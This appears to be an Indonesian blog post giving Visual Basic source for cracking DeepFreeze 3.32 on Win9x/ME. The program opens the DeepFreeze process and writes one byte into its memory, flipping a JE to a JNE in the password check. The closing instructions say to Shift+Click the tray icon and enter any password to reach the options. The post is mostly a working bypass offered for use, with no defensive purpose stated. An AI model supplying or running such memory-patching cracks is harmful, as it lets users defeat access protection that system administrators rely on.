Sebelum mencoba program ini pastikan DeepFree di load oleh windows, source code ini akan berjalan dengan baik apabila versi dan OS yang digunakan sesuai dengan penelitian penulis.
Dalam mencoba source ini penulis menngunakan:
DeepFreeze versi 3.32.000.0534 dengan OS yang digunakan WinME/WIN9x
Option Explicit
'Beberapa Fungsi Api Yang Digunakan
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As _
Long, ByVal blnheritHandle As Long, ByVal dwAppProcessId As _
Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As _
Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As _
Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As _
Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As _
Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function FindWindowStr Lib "user32" Alias "FindWindowA" _
(ByVal lpClassName As Any, ByVal lpWindowName As Any) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As _
Long, lpdwProcessId As Long) As Long
Private Sub Command1_Click()
Dim hwndDF As Long, PID As Long
'Cari HWND dari program DeepFreeze
hwndDF = FindWindowStr("TFormMain", vbNullString) ' "Deep Freeze ....."
If hwndDF Then
'Dapatkan PID berdasarkan dari HWND yang didapat
GetWindowThreadProcessId hwndDF, PID
If PID Then
Dim Data As Byte, ret As Long, hProcess As Long, lWritten As Long
'Data &H85 disini yang nantinya digunakan untuk membalikan sebuah kondisi _
pemeriksaan password pada deepfreeze. _
nilai asli &H84 (JE) kita rubah ke &H85
Data = &H85
'Membuka process berdasarkan PID yang didapat
hProcess = OpenProcess(&H1F0FFF, True, PID)
If hProcess Then
'Kalo pembukan process berhasil maka selanjutnya kita merubah pada _
Alamat: &H417411 dengan data 85h _
Alamat ini (&H417411) didapat setelah penulis mendebug program _
deepfreeze dengan W32Deasm. Kemungkinan alamat tersebut bisa berubah.
ret = WriteProcessMemory(hProcess, ByVal &H417411, Data, 1, lWritten)
If ret = 1 Then
MsgBox "Hacked", 64
Else
MsgBox "Error!", 16
End If
Else
MsgBox "Membuka Process Gagal", 16
End If
Else
MsgBox "Gagal Mendapatkan PID DeepFreeze", 16
End If
Else
MsgBox "DeepFreeze Tidak Ditemukan!", 16
End If
End Sub
Kalo udah berhasil melakukan process diatas, silahkan anda tekan tombol Shift+Click pada icon DeepFreeze. dan masukan sembarang password.
Jika Source Tersebut berjalan dengan lancar, maka akan muncul form option dari DeepFreeze.
SELAMAT MENCOBA....
Read More --►
